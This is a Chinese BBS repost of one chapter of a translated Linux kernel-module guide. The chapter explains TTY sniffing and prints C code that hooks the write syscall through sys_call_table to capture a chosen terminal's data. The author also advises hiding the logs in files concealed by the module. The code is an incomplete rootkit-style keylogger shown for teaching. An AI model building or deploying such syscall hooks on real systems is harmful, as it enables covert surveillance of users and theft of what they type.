荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: cycker (快过年吧.我想回家), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(十)(转寄)[转载]
发信站: 荔园晨风BBS站 (Thu Jan  2 18:23:09 2003), 站内信件

【 以下文字转载自 cycker 的信箱 】
【 原文由 xiaofong@bbs.pku.edu.cn 所发表 】
发信人: chenhao (努力学习), 信区: Linux
标  题: Linux 可卸载内核模块完全指南(十)
发信站: 北大未名站 (2000年11月20日01:19:05 星期一) , 转信

第二部分 渐入佳境

2.7 TTY纪录的方法

纪录TTY是十分有趣的而且从很久以前就开始使用了,我们可以获得我们通过主值或者附值
指定的TTY的每一个输入,在Phrack 50 halflife公布了一种十分好的LKM来做这个。

下面的代码是从他的LKM中摘抄的.他可以给每一个初学者演示TTY入侵的基本知识,尽管这
并不是一个完整的实现.你不能直接使用他.因为我没有实现一个纪录用户TTY输入的的方法
.这不过是给那些想懂得基础知识的人的.


好了,让我们继续:


#define MODULE

#define __KERNEL__

#include <linux/module.h>

#include <linux/kernel.h>

#include <asm/unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <asm/fcntl.h>

#include <asm/errno.h>

#include <linux/types.h>

#include <linux/dirent.h>

#include <sys/mman.h>

#include <linux/string.h>

#include <linux/fs.h>

#include <linux/malloc.h>

#include <asm/io.h>

#include <sys/sysmacros.h>



int errno;


/*我们想纪录的TTY*/

int tty_minor = 2;

int tty_major = 4;


extern void* sys_call_table[];


/*我们需要write系统调用*/

static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);


void *original_write;


/*检查是否是我们需要的TTY*/

int is_fd_tty(int fd)

{

struct file *f=NULL;

struct inode *inode=NULL;

int mymajor=0;

int myminor=0;


if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))

return 0;

mymajor = major(inode->i_rdev);

myminor = minor(inode->i_rdev);

if(mymajor != tty_major) return 0;

if(myminor != tty_minor) return 0;

return 1;

}


/*这是新的write(2)系统调用*/

extern int new_write(int fd, char *buf, size_t count)

{

int r;

char *kernel_buf;


if(is_fd_tty(fd))

{

kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);

memcpy_fromfs(kernel_buf, buf, count);


/*在这里你可以将输出缓存输出到任何你想要的地方,他表示着每一个被你选定的TTY设备
的输入.我没有实现这个例行的过程,因为在附录A你会发现一个完整的很好的由halflife实
现的TTY入侵工具*/


kfree(kernel_buf);

}

sys_call_table[SYS_write] = original_write;

r = write(fd, buf, count);

sys_call_table[SYS_write] = new_write;

if(r == -1) return -errno;

else return r;

}


int init_module(void)

{

/*你必须已经理解这个了*/

original_write = sys_call_table[SYS_write];

sys_call_table[SYS_write] = new_write;

return 0;

}



void cleanup_module(void)

{

/*不再记录了*/

sys_call_table[SYS_write] = original_write;

}


注释会使得这些代码很容易被读懂.总体上的思路是截获sys_write(见2.4.2)并且过滤我在
2.4.2中提到的fd.在检查了fd的TTY是否是我们想跟踪的以后,我们就可以获得写入的数据
并且将这些数据写入我们的纪录文件中(在上面的代码中没有实现).有好几种方法可以存储
这些数据.halflife使用一个缓冲区(可以从我们自己的设备中获得),这是一个好主意(他也
可以控制他的程序,通过ioctl命令来控制它的设备).


我个人推荐将这些数据存储在(被LKM)隐藏的文件中.并且用某种IPC来控制他.使用能够在
你控制的系统中使用的方法.




--
※ 来源:.北大未名站 bbs.pku.edu.cn [FROM: 162.105.45.129]
--
※ 转寄:·北大未名站 bbs.pku.edu.cn·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.36.220]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店